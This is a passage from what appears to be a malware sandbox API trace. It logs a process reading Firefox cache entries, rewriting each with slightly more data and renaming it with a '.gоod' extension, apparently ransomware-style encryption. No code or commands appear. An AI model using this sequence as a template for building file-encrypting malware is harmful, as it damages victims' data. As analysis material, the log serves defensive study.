(dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0214.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\017020bfb3471e12709c39371d58e8123bcf28fb"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0214.652] GetFileType (hFile=0x824) returned 0x1 [0214.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0214.652] GetFileType (hFile=0x824) returned 0x1 [0214.652] WriteFile (in: hFile=0x824, lpBuffer=0x366a858*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x366a858*, lpNumberOfBytesWritten=0x1fbeaf38*=0xf00, lpOverlapped=0x0) returned 1 [0214.653] CloseHandle (hObject=0x824) returned 1 [0214.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB", lpFilePart=0x0) returned 0x7f [0214.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB.gоod", lpFilePart=0x0) returned 0x84 [0214.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0214.653] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\017020bfb3471e12709c39371d58e8123bcf28fb"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7c284214, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf00)) returned 1 [0214.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0214.653] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\017020bfb3471e12709c39371d58e8123bcf28fb"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\017020bfb3471e12709c39371d58e8123bcf28fb.gоod")) returned 1 [0214.654] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79", lpFilePart=0x0) returned 0x7f [0214.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0214.654] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\019b3f1b091f4bd86f0f05c8d530bc62a1ebcd79"), fInfoLevelId=0x0, lpFileInformation=0x366bbf8 | out: lpFileInformation=0x366bbf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6966619, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6966619, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6982762, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe3d)) returned 1 [0214.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0214.654] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79", lpFilePart=0x0) returned 0x7f [0214.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0214.654] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\019b3f1b091f4bd86f0f05c8d530bc62a1ebcd79"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0214.654] GetFileType (hFile=0x824) returned 0x1 [0214.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0214.655] GetFileType (hFile=0x824) returned 0x1 [0214.655] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xe3d [0214.655] ReadFile (in: hFile=0x824, lpBuffer=0x366ce30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x366ce30*, lpNumberOfBytesRead=0x1fbeb028*=0xe3d, lpOverlapped=0x0) returned 1 [0215.191] CloseHandle (hObject=0x824) returned 1 [0215.252] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79", lpFilePart=0x0) returned 0x7f [0215.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0215.252] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\019b3f1b091f4bd86f0f05c8d530bc62a1ebcd79"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0215.253] GetFileType (hFile=0x824) returned 0x1 [0215.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0215.254] GetFileType (hFile=0x824) returned 0x1 [0215.254] WriteFile (in: hFile=0x824, lpBuffer=0x37a2018*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x37a2018*, lpNumberOfBytesWritten=0x1fbeaf38*=0xe40, lpOverlapped=0x0) returned 1 [0215.254] CloseHandle (hObject=0x824) returned 1 [0215.255] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79", lpFilePart=0x0) returned 0x7f [0215.255] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79.gоod", lpFilePart=0x0) returned 0x84 [0215.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0215.255] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\019b3f1b091f4bd86f0f05c8d530bc62a1ebcd79"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6966619, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6966619, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7c82dcdb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe40)) returned 1 [0215.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0215.255] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\019b3f1b091f4bd86f0f05c8d530bc62a1ebcd79"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\019b3f1b091f4bd86f0f05c8d530bc62a1ebcd79.gоod")) returned 1 [0215.255] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41", lpFilePart=0x0) returned 0x7f [0215.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0215.256] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\020a4f3a0f6f161908d148aeb21a124c4badfd41"), fInfoLevelId=0x0, lpFileInformation=0x37a33b8 | out: lpFileInformation=0x37a33b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xea3)) returned 1 [0215.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0215.256] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41", lpFilePart=0x0) returned 0x7f [0215.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0215.256] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\020a4f3a0f6f161908d148aeb21a124c4badfd41"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0215.538] GetFileType (hFile=0x834) returned 0x1 [0215.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0215.538] GetFileType (hFile=0x834) returned 0x1 [0215.538] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xea3 [0215.896] ReadFile (in: hFile=0x834, lpBuffer=0x35296d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x35296d0*, lpNumberOfBytesRead=0x1fbeb028*=0xea3, lpOverlapped=0x0) returned 1 [0215.898] CloseHandle (hObject=0x834) returned 1 [0215.925] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41", lpFilePart=0x0) returned 0x7f [0215.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0215.925] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\020a4f3a0f6f161908d148aeb21a124c4badfd41"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0215.926] GetFileType (hFile=0x834) returned 0x1 [0215.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0215.926] GetFileType (hFile=0x834) returned 0x1 [0215.926] WriteFile (in: hFile=0x834, lpBuffer=0x35a67b8*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x35a67b8*, lpNumberOfBytesWritten=0x1fbeaf38*=0xeb0, lpOverlapped=0x0) returned 1 [0215.927] CloseHandle (hObject=0x834) returned 1 [0215.927] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41", lpFilePart=0x0) returned 0x7f [0215.927] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41.gоod", lpFilePart=0x0) returned 0x84 [0215.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0215.927] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\020a4f3a0f6f161908d148aeb21a124c4badfd41"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7ce95f73, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeb0)) returned 1 [0215.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0215.928] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\020a4f3a0f6f161908d148aeb21a124c4badfd41"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\020a4f3a0f6f161908d148aeb21a124c4badfd41.gоod")) returned 1 [0215.928] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", lpFilePart=0x0) returned 0x7f [0215.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0215.929] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\055bc3539a35cf182a96e6f1f1f7c0168bee66fe"), fInfoLevelId=0x0, lpFileInformation=0x35a7b58 | out: lpFileInformation=0x35a7b58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e6aa7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc47e6aa7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc480cd0c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x11f4)) returned 1 [0216.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0216.339] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", lpFilePart=0x0) returned 0x7f [0216.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0216.339] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\055bc3539a35cf182a96e6f1f1f7c0168bee66fe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0216.340] GetFileType (hFile=0x81c) returned 0x1 [0216.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0216.340] GetFileType (hFile=0x81c) returned 0x1 [0216.340] SetFilePointer (in: hFile=0x81c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0216.340] ReadFile (in: hFile=0x81c, lpBuffer=0x35deef8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x35deef8*, lpNumberOfBytesRead=0x1fbeb0c8*=0x1f4, lpOverlapped=0x0) returned 1 [0216.342] CloseHandle (hObject=0x81c) returned 1 [0216.342] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", lpFilePart=0x0) returned 0x7f [0216.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0216.342] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\055bc3539a35cf182a96e6f1f1f7c0168bee66fe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0216.342] GetFileType (hFile=0x81c) returned 0x1 [0216.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0216.342] GetFileType (hFile=0x81c) returned 0x1 [0216.342] SetFilePointer (in: hFile=0x81c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x11f4 [0216.342] WriteFile (in: hFile=0x81c, lpBuffer=0x35e0848*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x35e0848*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0216.342] CloseHandle (hObject=0x81c) returned 1 [0216.342] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", lpFilePart=0x0) returned 0x7f [0216.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0216.343] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\055bc3539a35cf182a96e6f1f1f7c0168bee66fe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0216.343] GetFileType (hFile=0x81c) returned 0x1 [0216.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0216.343] GetFileType (hFile=0x81c) returned 0x1 [0216.343] ReadFile (in: hFile=0x81c, lpBuffer=0x35e2bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x35e2bb0*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0216.371] CloseHandle (hObject=0x81c) returned 1 [0216.371] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", lpFilePart=0x0) returned 0x7f [0216.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0216.371] CreateFileW 